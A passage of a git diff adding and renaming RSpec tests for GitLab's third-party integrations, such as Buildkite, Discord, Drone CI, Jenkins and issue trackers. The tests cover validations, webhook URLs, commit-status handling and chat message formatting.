+ it_behaves_like 'does not notify the chat service'
+ end
+
+ context 'labels matches exactly' do
+ let(:label_filter) { '~Bug, ~Backend, ~Community contribution' }
+
+ it_behaves_like 'notifies the chat service'
+ end
+
+ context 'labels matches but object has more' do
+ let(:label_filter) { '~Bug, ~Backend' }
+
+ it_behaves_like 'notifies the chat service'
+ end
+
+ context 'labels are distributed on multiple objects' do
+ let(:label_filter) { '~Bug, ~Backend' }
+ let(:data) do
+ Gitlab::DataBuilder::Note.build(note, user).merge({
+ issue: {
+ labels: [
+ { title: 'Bug' }
+ ]
+ },
+ merge_request: {
+ labels: [
+ {
+ title: 'Backend'
+ }
+ ]
+ }
+ })
+ end
+
+ it_behaves_like 'does not notify the chat service'
+ end
+ end
+ end
+
+ context 'with "channel" property' do
+ before do
+ allow(chat_service).to receive(:channel).and_return(channel)
+ end
+
+ context 'empty string' do
+ let(:channel) { '' }
+
+ it 'does not include the channel' do
+ expect(chat_service).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
+ expect(chat_service.execute(data)).to be(true)
+ end
+ end
+
+ context 'empty spaces' do
+ let(:channel) { ' ' }
+
+ it 'does not include the channel' do
+ expect(chat_service).to receive(:notify).with(any_args, hash_excluding(:channel)).and_return(true)
+ expect(chat_service.execute(data)).to be(true)
+ end
+ end
+ end
+
+ shared_examples 'with channel specified' do |channel, expected_channels|
+ before do
+ allow(chat_service).to receive(:push_channel).and_return(channel)
+ end
+
+ it 'notifies all channels' do
+ expect(chat_service).to receive(:notify).with(any_args, hash_including(channel: expected_channels)).and_return(true)
+ expect(chat_service.execute(data)).to be(true)
+ end
+ end
+
+ context 'with single channel specified' do
+ it_behaves_like 'with channel specified', 'slack-integration', ['slack-integration']
+ end
+
+ context 'with multiple channel names specified' do
+ it_behaves_like 'with channel specified', 'slack-integration,#slack-test', ['slack-integration', '#slack-test']
+ end
+
+ context 'with multiple channel names with spaces specified' do
+ it_behaves_like 'with channel specified', 'slack-integration, #slack-test, @UDLP91W0A', ['slack-integration', '#slack-test', '@UDLP91W0A']
+ end
+ end
+end
diff --git a/spec/models/integrations/base_issue_tracker_spec.rb b/spec/models/integrations/base_issue_tracker_spec.rb
new file mode 100644
index 00000000000..0f1bc39929a
--- /dev/null
+++ b/spec/models/integrations/base_issue_tracker_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::BaseIssueTracker do
+ describe 'Validations' do
+ let(:project) { create :project }
+
+ describe 'only one issue tracker per project' do
+ let(:service) { Integrations::Redmine.new(project: project, active: true, issue_tracker_data: build(:issue_tracker_data)) }
+
+ before do
+ create(:custom_issue_tracker_integration, project: project)
+ end
+
+ context 'when service is changed manually by user' do
+ it 'executes the validation' do
+ valid = service.valid?(:manual_change)
+
+ expect(valid).to be_falsey
+ expect(service.errors[:base]).to include(
+ 'Another issue tracker is already in use. Only one issue tracker service can be active at a time'
+ )
+ end
+ end
+
+ context 'when service is changed internally' do
+ it 'does not execute the validation' do
+ expect(service.valid?).to be_truthy
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/bugzilla_spec.rb b/spec/models/integrations/bugzilla_spec.rb
new file mode 100644
index 00000000000..e75fa8dd4d4
--- /dev/null
+++ b/spec/models/integrations/bugzilla_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Bugzilla do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:issues_url) }
+ it { is_expected.to validate_presence_of(:new_issue_url) }
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker service URL attribute', :issues_url
+ it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:issues_url) }
+ it { is_expected.not_to validate_presence_of(:new_issue_url) }
+ end
+ end
+end
diff --git a/spec/models/integrations/buildkite_spec.rb b/spec/models/integrations/buildkite_spec.rb
new file mode 100644
index 00000000000..7dc81da7003
--- /dev/null
+++ b/spec/models/integrations/buildkite_spec.rb
@@ -0,0 +1,151 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Buildkite, :use_clean_rails_memory_store_caching do
+ include ReactiveCachingHelpers
+ include StubRequests
+
+ let(:project) { create(:project) }
+
+ subject(:service) do
+ described_class.create!(
+ project: project,
+ properties: {
+ service_hook: true,
+ project_url: 'https://buildkite.com/organization-name/example-pipeline',
+ token: 'secret-sauce-webhook-token:secret-sauce-status-token'
+ }
+ )
+ end
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:token) }
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:token) }
+ end
+ end
+
+ describe '.supported_events' do
+ it 'supports push, merge_request, and tag_push events' do
+ expect(service.supported_events).to eq %w(push merge_request tag_push)
+ end
+ end
+
+ describe 'commits methods' do
+ before do
+ allow(project).to receive(:default_branch).and_return('default-brancho')
+ end
+
+ it 'always activates SSL verification after saved' do
+ service.create_service_hook(enable_ssl_verification: false)
+
+ service.enable_ssl_verification = false
+ service.active = true
+
+ expect { service.save! }
+ .to change { service.service_hook.enable_ssl_verification }.from(false).to(true)
+ end
+
+ describe '#webhook_url' do
+ it 'returns the webhook url' do
+ expect(service.webhook_url).to eq(
+ 'https://webhook.buildkite.com/deliver/secret-sauce-webhook-token'
+ )
+ end
+ end
+
+ describe '#commit_status_path' do
+ it 'returns the correct status page' do
+ expect(service.commit_status_path('2ab7834c')).to eq(
+ 'https://gitlab.buildkite.com/status/secret-sauce-status-token.json?commit=2ab7834c'
+ )
+ end
+ end
+
+ describe '#build_page' do
+ it 'returns the correct build page' do
+ expect(service.build_page('2ab7834c', nil)).to eq(
+ 'https://buildkite.com/organization-name/example-pipeline/builds?commit=2ab7834c'
+ )
+ end
+ end
+
+ describe '#commit_status' do
+ it 'returns the contents of the reactive cache' do
+ stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
+
+ expect(service.commit_status('sha', 'ref')).to eq('foo')
+ end
+ end
+
+ describe '#calculate_reactive_cache' do
+ describe '#commit_status' do
+ let(:buildkite_full_url) do
+ 'https://gitlab.buildkite.com/status/secret-sauce-status-token.json?commit=123'
+ end
+
+ subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
+
+ it 'sets commit status to :error when status is 500' do
+ stub_request(status: 500)
+
+ is_expected.to eq(:error)
+ end
+
+ it 'sets commit status to :error when status is 404' do
+ stub_request(status: 404)
+
+ is_expected.to eq(:error)
+ end
+
+ it 'passes through build status untouched when status is 200' do
+ stub_request(body: %q({"status":"Great Success"}))
+
+ is_expected.to eq('Great Success')
+ end
+
+ Gitlab::HTTP::HTTP_ERRORS.each do |http_error|
+ it "sets commit status to :error with a #{http_error.name} error" do
+ WebMock.stub_request(:get, buildkite_full_url)
+ .to_raise(http_error)
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:log_exception)
+ .with(instance_of(http_error), project_id: project.id)
+
+ is_expected.to eq(:error)
+ end
+ end
+ end
+ end
+ end
+
+ def stub_request(status: 200, body: nil)
+ body ||= %q({"status":"success"})
+
+ stub_full_request(buildkite_full_url)
+ .to_return(status: status,
+ headers: { 'Content-Type' => 'application/json' },
+ body: body)
+ end
+end
diff --git a/spec/models/integrations/campfire_spec.rb b/spec/models/integrations/campfire_spec.rb
index b23edf03e8a..d68f8e0bd4e 100644
--- a/spec/models/integrations/campfire_spec.rb
+++ b/spec/models/integrations/campfire_spec.rb
@@ -33,8 +33,8 @@ RSpec.describe Integrations::Campfire do
let(:project) { create(:project, :repository) }
before do
- @campfire_service = described_class.new
- allow(@campfire_service).to receive_messages(
+ @campfire_integration = described_class.new
+ allow(@campfire_integration).to receive_messages(
project_id: project.id,
project: project,
service_hook: true,
@@ -62,7 +62,7 @@ RSpec.describe Integrations::Campfire do
speak_url = 'https://project-name.campfirenow.com/room/123/speak.json'
stub_full_request(speak_url, method: :post).with(basic_auth: @auth)
- @campfire_service.execute(@sample_data)
+ @campfire_integration.execute(@sample_data)
expect(WebMock).to have_requested(:get, stubbed_hostname(@rooms_url)).once
expect(WebMock).to have_requested(:post, stubbed_hostname(speak_url))
@@ -78,7 +78,7 @@ RSpec.describe Integrations::Campfire do
headers: @headers
)
- @campfire_service.execute(@sample_data)
+ @campfire_integration.execute(@sample_data)
expect(WebMock).to have_requested(:get, 'https://8.8.8.9/rooms.json').once
expect(WebMock).not_to have_requested(:post, '*/room/.*/speak.json')
diff --git a/spec/models/integrations/chat_message/wiki_page_message_spec.rb b/spec/models/integrations/chat_message/wiki_page_message_spec.rb
index e8672a0f9c8..ded467dc910 100644
--- a/spec/models/integrations/chat_message/wiki_page_message_spec.rb
+++ b/spec/models/integrations/chat_message/wiki_page_message_spec.rb
@@ -5,20 +5,30 @@ require 'spec_helper'
RSpec.describe Integrations::ChatMessage::WikiPageMessage do
subject { described_class.new(args) }
+ let(:name) { 'Test User' }
+ let(:username) { 'test.user' }
+ let(:avatar_url) { 'http://someavatar.com' }
+ let(:project_name) { 'project_name' }
+ let(:project_url) {'http://somewhere.com' }
+ let(:url) { 'http://url.com' }
+ let(:diff_url) { 'http://url.com/diff?version_id=1234' }
+ let(:wiki_page_title) { 'Wiki page title' }
+ let(:commit_message) { 'Wiki page commit message' }
let(:args) do
{
user: {
- name: 'Test User',
- username: 'test.user',
- avatar_url: 'http://someavatar.com'
+ name: name,
+ username: username,
+ avatar_url: avatar_url
},
- project_name: 'project_name',
- project_url: 'http://somewhere.com',
+ project_name: project_name,
+ project_url: project_url,
object_attributes: {
- title: 'Wiki page title',
- url: 'http://url.com',
+ title: wiki_page_title,
+ url: url,
content: 'Wiki page content',
- message: 'Wiki page commit message'
+ message: commit_message,
+ diff_url: diff_url
}
}
end
@@ -32,8 +42,8 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
it 'returns a message that a new wiki page was created' do
expect(subject.pretext).to eq(
- 'Test User (test.user) created <http://url.com|wiki page> in <http://somewhere.com|project_name>: '\
- '*Wiki page title*')
+ "#{name} (#{username}) created <#{url}|wiki page> (<#{diff_url}|Compare changes>) in <#{project_url}|#{project_name}>: "\
+ "*#{wiki_page_title}*")
end
end
@@ -44,8 +54,8 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
it 'returns a message that a wiki page was updated' do
expect(subject.pretext).to eq(
- 'Test User (test.user) edited <http://url.com|wiki page> in <http://somewhere.com|project_name>: '\
- '*Wiki page title*')
+ "#{name} (#{username}) edited <#{url}|wiki page> (<#{diff_url}|Compare changes>) in <#{project_url}|#{project_name}>: "\
+ "*#{wiki_page_title}*")
end
end
end
@@ -61,7 +71,7 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
it 'returns the commit message for a new wiki page' do
expect(subject.attachments).to eq([
{
- text: "Wiki page commit message",
+ text: commit_message,
color: color
}
])
@@ -76,7 +86,7 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
it 'returns the commit message for an updated wiki page' do
expect(subject.attachments).to eq([
{
- text: "Wiki page commit message",
+ text: commit_message,
color: color
}
])
@@ -98,7 +108,7 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
it 'returns a message that a new wiki page was created' do
expect(subject.pretext).to eq(
- 'Test User (test.user) created [wiki page](http://url.com) in [project_name](http://somewhere.com): *Wiki page title*')
+ "#{name} (#{username}) created [wiki page](#{url}) ([Compare changes](#{diff_url})) in [#{project_name}](#{project_url}): *#{wiki_page_title}*")
end
end
@@ -109,7 +119,7 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
it 'returns a message that a wiki page was updated' do
expect(subject.pretext).to eq(
- 'Test User (test.user) edited [wiki page](http://url.com) in [project_name](http://somewhere.com): *Wiki page title*')
+ "#{name} (#{username}) edited [wiki page](#{url}) ([Compare changes](#{diff_url})) in [#{project_name}](#{project_url}): *#{wiki_page_title}*")
end
end
end
@@ -121,7 +131,7 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
end
it 'returns the commit message for a new wiki page' do
- expect(subject.attachments).to eq('Wiki page commit message')
+ expect(subject.attachments).to eq(commit_message)
end
end
@@ -131,7 +141,7 @@ RSpec.describe Integrations::ChatMessage::WikiPageMessage do
end
it 'returns the commit message for an updated wiki page' do
- expect(subject.attachments).to eq('Wiki page commit message')
+ expect(subject.attachments).to eq(commit_message)
end
end
end
diff --git a/spec/models/integrations/confluence_spec.rb b/spec/models/integrations/confluence_spec.rb
index c217573f48d..08e18c99376 100644
--- a/spec/models/integrations/confluence_spec.rb
+++ b/spec/models/integrations/confluence_spec.rb
@@ -72,19 +72,19 @@ RSpec.describe Integrations::Confluence do
subject { project.project_setting.has_confluence? }
it 'sets the property to true when service is active' do
- create(:confluence_service, project: project, active: true)
+ create(:confluence_integration, project: project, active: true)
is_expected.to be(true)
end
it 'sets the property to false when service is not active' do
- create(:confluence_service, project: project, active: false)
+ create(:confluence_integration, project: project, active: false)
is_expected.to be(false)
end
it 'creates a project_setting record if one was not already created' do
- expect { create(:confluence_service) }.to change { ProjectSetting.count }.by(1)
+ expect { create(:confluence_integration) }.to change(ProjectSetting, :count).by(1)
end
end
end
diff --git a/spec/models/integrations/custom_issue_tracker_spec.rb b/spec/models/integrations/custom_issue_tracker_spec.rb
new file mode 100644
index 00000000000..25f2648e738
--- /dev/null
+++ b/spec/models/integrations/custom_issue_tracker_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::CustomIssueTracker do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:issues_url) }
+ it { is_expected.to validate_presence_of(:new_issue_url) }
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker service URL attribute', :issues_url
+ it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:issues_url) }
+ it { is_expected.not_to validate_presence_of(:new_issue_url) }
+ end
+ end
+end
diff --git a/spec/models/integrations/discord_spec.rb b/spec/models/integrations/discord_spec.rb
new file mode 100644
index 00000000000..bff6a8ee5b2
--- /dev/null
+++ b/spec/models/integrations/discord_spec.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Integrations::Discord do
+ it_behaves_like "chat integration", "Discord notifications" do
+ let(:client) { Discordrb::Webhooks::Client }
+ let(:client_arguments) { { url: webhook_url } }
+ let(:payload) do
+ {
+ embeds: [
+ include(
+ author: include(name: be_present),
+ description: be_present
+ )
+ ]
+ }
+ end
+ end
+
+ describe '#execute' do
+ include StubRequests
+
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:webhook_url) { "https://example.gitlab.com/" }
+
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+ end
+
+ before do
+ allow(subject).to receive_messages(
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ WebMock.stub_request(:post, webhook_url)
+ end
+
+ it 'uses the right embed parameters' do
+ builder = Discordrb::Webhooks::Builder.new
+
+ allow_next_instance_of(Discordrb::Webhooks::Client) do |client|
+ allow(client).to receive(:execute).and_yield(builder)
+ end
+
+ subject.execute(sample_data)
+
+ expect(builder.to_json_hash[:embeds].first).to include(
+ description: start_with("#{user.name} pushed to branch [master](http://localhost/#{project.namespace.path}/#{project.path}/commits/master) of"),
+ author: hash_including(
+ icon_url: start_with('https://www.gravatar.com/avatar/'),
+ name: user.name
+ )
+ )
+ end
+
+ context 'DNS rebind to local address' do
+ before do
+ stub_dns(webhook_url, ip_address: '192.168.2.120')
+ end
+
+ it 'does not allow DNS rebinding' do
+ expect { subject.execute(sample_data) }.to raise_error(ArgumentError, /is blocked/)
+ end
+ end
+
+ context 'when the Discord request fails' do
+ before do
+ WebMock.stub_request(:post, webhook_url).to_return(status: 400)
+ end
+
+ it 'logs an error and returns false' do
+ expect(subject).to receive(:log_error).with('400 Bad Request')
+ expect(subject.execute(sample_data)).to be(false)
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/drone_ci_spec.rb b/spec/models/integrations/drone_ci_spec.rb
new file mode 100644
index 00000000000..137f078edca
--- /dev/null
+++ b/spec/models/integrations/drone_ci_spec.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::DroneCi, :use_clean_rails_memory_store_caching do
+ include ReactiveCachingHelpers
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:project) }
+ it { is_expected.to have_one(:service_hook) }
+ end
+
+ describe 'validations' do
+ context 'active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:token) }
+ it { is_expected.to validate_presence_of(:drone_url) }
+ it_behaves_like 'issue tracker service URL attribute', :drone_url
+ end
+
+ context 'inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:token) }
+ it { is_expected.not_to validate_presence_of(:drone_url) }
+ end
+ end
+
+ shared_context :drone_ci_integration do
+ let(:drone) { described_class.new }
+ let(:project) { create(:project, :repository, name: 'project') }
+ let(:path) { project.full_path }
+ let(:drone_url) { 'http://drone.example.com' }
+ let(:sha) { '2ab7834c' }
+ let(:branch) { 'dev' }
+ let(:token) { 'secret' }
+ let(:iid) { rand(1..9999) }
+
+ # URLs
+ let(:build_page) { "#{drone_url}/gitlab/#{path}/redirect/commits/#{sha}?branch=#{branch}" }
+ let(:commit_status_path) { "#{drone_url}/gitlab/#{path}/commits/#{sha}?branch=#{branch}&access_token=#{token}" }
+
+ before do
+ allow(drone).to receive_messages(
+ project_id: project.id,
+ project: project,
+ active: true,
+ drone_url: drone_url,
+ token: token
+ )
+ end
+
+ def stub_request(status: 200, body: nil)
+ body ||= %q({"status":"success"})
+
+ WebMock.stub_request(:get, commit_status_path).to_return(
+ status: status,
+ headers: { 'Content-Type' => 'application/json' },
+ body: body
+ )
+ end
+ end
+
+ describe "service page/path methods" do
+ include_context :drone_ci_integration
+
+ it { expect(drone.build_page(sha, branch)).to eq(build_page) }
+ it { expect(drone.commit_status_path(sha, branch)).to eq(commit_status_path) }
+ end
+
+ describe '#commit_status' do
+ include_context :drone_ci_integration
+
+ it 'returns the contents of the reactive cache' do
+ stub_reactive_cache(drone, { commit_status: 'foo' }, 'sha', 'ref')
+
+ expect(drone.commit_status('sha', 'ref')).to eq('foo')
+ end
+ end
+
+ describe '#calculate_reactive_cache' do
+ include_context :drone_ci_integration
+
+ describe '#commit_status' do
+ subject { drone.calculate_reactive_cache(sha, branch)[:commit_status] }
+
+ it 'sets commit status to :error when status is 500' do
+ stub_request(status: 500)
+
+ is_expected.to eq(:error)
+ end
+
+ it 'sets commit status to :error when status is 404' do
+ stub_request(status: 404)
+
+ is_expected.to eq(:error)
+ end
+
+ Gitlab::HTTP::HTTP_ERRORS.each do |http_error|
+ it "sets commit status to :error with a #{http_error.name} error" do
+ WebMock.stub_request(:get, commit_status_path)
+ .to_raise(http_error)
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:log_exception)
+ .with(instance_of(http_error), project_id: project.id)
+
+ is_expected.to eq(:error)
+ end
+ end
+
+ {
+ "killed" => :canceled,
+ "failure" => :failed,
+ "error" => :failed,
+ "success" => "success"
+ }.each do |drone_status, our_status|
+ it "sets commit status to #{our_status.inspect} when returned status is #{drone_status.inspect}" do
+ stub_request(body: %Q({"status":"#{drone_status}"}))
+
+ is_expected.to eq(our_status)
+ end
+ end
+ end
+ end
+
+ describe "execute" do
+ include_context :drone_ci_integration
+
+ let(:user) { create(:user, username: 'username') }
+ let(:push_sample_data) do
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+ end
+
+ it do
+ service_hook = double
+ expect(service_hook).to receive(:execute)
+ expect(drone).to receive(:service_hook).and_return(service_hook)
+
+ drone.execute(push_sample_data)
+ end
+ end
+end
diff --git a/spec/models/integrations/ewm_spec.rb b/spec/models/integrations/ewm_spec.rb
new file mode 100644
index 00000000000..38897adb447
--- /dev/null
+++ b/spec/models/integrations/ewm_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Ewm do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:issues_url) }
+ it { is_expected.to validate_presence_of(:new_issue_url) }
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker service URL attribute', :issues_url
+ it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:issues_url) }
+ it { is_expected.not_to validate_presence_of(:new_issue_url) }
+ end
+ end
+
+ describe "ReferencePatternValidation" do
+ it "extracts bug" do
+ expect(described_class.reference_pattern.match("This is bug 123")[:issue]).to eq("bug 123")
+ end
+
+ it "extracts task" do
+ expect(described_class.reference_pattern.match("This is task 123.")[:issue]).to eq("task 123")
+ end
+
+ it "extracts work item" do
+ expect(described_class.reference_pattern.match("This is work item 123 now")[:issue]).to eq("work item 123")
+ end
+
+ it "extracts workitem" do
+ expect(described_class.reference_pattern.match("workitem 123 at the beginning")[:issue]).to eq("workitem 123")
+ end
+
+ it "extracts defect" do
+ expect(described_class.reference_pattern.match("This is defect 123 defect")[:issue]).to eq("defect 123")
+ end
+
+ it "extracts rtcwi" do
+ expect(described_class.reference_pattern.match("This is rtcwi 123")[:issue]).to eq("rtcwi 123")
+ end
+ end
+end
diff --git a/spec/models/integrations/external_wiki_spec.rb b/spec/models/integrations/external_wiki_spec.rb
new file mode 100644
index 00000000000..8c20b810301
--- /dev/null
+++ b/spec/models/integrations/external_wiki_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::ExternalWiki do
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:external_wiki_url) }
+ it_behaves_like 'issue tracker service URL attribute', :external_wiki_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:external_wiki_url) }
+ end
+ end
+
+ describe 'test' do
+ before do
+ subject.properties['external_wiki_url'] = url
+ end
+
+ let(:url) { 'http://foo' }
+ let(:data) { nil }
+ let(:result) { subject.test(data) }
+
+ context 'the URL is not reachable' do
+ before do
+ WebMock.stub_request(:get, url).to_return(status: 404, body: 'not a page')
+ end
+
+ it 'is not successful' do
+ expect(result[:success]).to be_falsey
+ end
+ end
+
+ context 'the URL is reachable' do
+ before do
+ WebMock.stub_request(:get, url).to_return(status: 200, body: 'foo')
+ end
+
+ it 'is successful' do
+ expect(result[:success]).to be_truthy
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/flowdock_spec.rb b/spec/models/integrations/flowdock_spec.rb
new file mode 100644
index 00000000000..2de6f7dd2f1
--- /dev/null
+++ b/spec/models/integrations/flowdock_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Flowdock do
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:token) }
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:token) }
+ end
+ end
+
+ describe "Execute" do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+
+ before do
+ @flowdock_service = described_class.new
+ allow(@flowdock_service).to receive_messages(
+ project_id: project.id,
+ project: project,
+ service_hook: true,
+ token: 'verySecret'
+ )
+ @sample_data = Gitlab::DataBuilder::Push.build_sample(project, user)
+ @api_url = 'https://api.flowdock.com/v1/messages'
+ WebMock.stub_request(:post, @api_url)
+ end
+
+ it "calls FlowDock API" do
+ @flowdock_service.execute(@sample_data)
+ @sample_data[:commits].each do |commit|
+ # One request to Flowdock per new commit
+ next if commit[:id] == @sample_data[:before]
+
+ expect(WebMock).to have_requested(:post, @api_url).with(
+ body: /#{commit[:id]}.*#{project.path}/
+ ).once
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/hangouts_chat_spec.rb b/spec/models/integrations/hangouts_chat_spec.rb
new file mode 100644
index 00000000000..17b40c484f5
--- /dev/null
+++ b/spec/models/integrations/hangouts_chat_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Integrations::HangoutsChat do
+ it_behaves_like "chat integration", "Hangouts Chat" do
+ let(:client) { HangoutsChat::Sender }
+ let(:client_arguments) { webhook_url }
+ let(:payload) do
+ {
+ text: be_present
+ }
+ end
+ end
+end
diff --git a/spec/models/integrations/irker_spec.rb b/spec/models/integrations/irker_spec.rb
new file mode 100644
index 00000000000..a69be1292e0
--- /dev/null
+++ b/spec/models/integrations/irker_spec.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'socket'
+require 'json'
+
+RSpec.describe Integrations::Irker do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:recipients) }
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:recipients) }
+ end
+ end
+
+ describe 'Execute' do
+ let(:irker) { described_class.new }
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+ end
+
+ let(:recipients) { '#commits irc://test.net/#test ftp://bad' }
+ let(:colorize_messages) { '1' }
+
+ before do
+ @irker_server = TCPServer.new 'localhost', 0
+
+ allow(irker).to receive_messages(
+ active: true,
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ server_host: @irker_server.addr[2],
+ server_port: @irker_server.addr[1],
+ default_irc_uri: 'irc://chat.freenode.net/',
+ recipients: recipients,
+ colorize_messages: colorize_messages)
+
+ irker.valid?
+ end
+
+ after do
+ @irker_server.close
+ end
+
+ it 'sends valid JSON messages to an Irker listener', :sidekiq_might_not_need_inline do
+ irker.execute(sample_data)
+
+ conn = @irker_server.accept
+ conn.each_line do |line|
+ msg = Gitlab::Json.parse(line.chomp("\n"))
+ expect(msg.keys).to match_array(%w(to privmsg))
+ expect(msg['to']).to match_array(["irc://chat.freenode.net/#commits",
+ "irc://test.net/#test"])
+ end
+ conn.close
+ end
+ end
+end
diff --git a/spec/models/integrations/issue_tracker_data_spec.rb b/spec/models/integrations/issue_tracker_data_spec.rb
new file mode 100644
index 00000000000..597df237c67
--- /dev/null
+++ b/spec/models/integrations/issue_tracker_data_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::IssueTrackerData do
+ describe 'associations' do
+ it { is_expected.to belong_to :integration }
+ end
+end
diff --git a/spec/models/integrations/jenkins_spec.rb b/spec/models/integrations/jenkins_spec.rb
new file mode 100644
index 00000000000..2374dfe4480
--- /dev/null
+++ b/spec/models/integrations/jenkins_spec.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Jenkins do
+ let(:project) { create(:project) }
+ let(:jenkins_url) { 'http://jenkins.example.com/' }
+ let(:jenkins_hook_url) { jenkins_url + 'project/my_project' }
+ let(:jenkins_username) { 'u$er name%2520' }
+ let(:jenkins_password) { 'pas$ word' }
+
+ let(:jenkins_params) do
+ {
+ active: true,
+ project: project,
+ properties: {
+ password: jenkins_password,
+ username: jenkins_username,
+ jenkins_url: jenkins_url,
+ project_name: 'my_project'
+ }
+ }
+ end
+
+ let(:jenkins_authorization) { "Basic " + ::Base64.strict_encode64(jenkins_username + ':' + jenkins_password) }
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
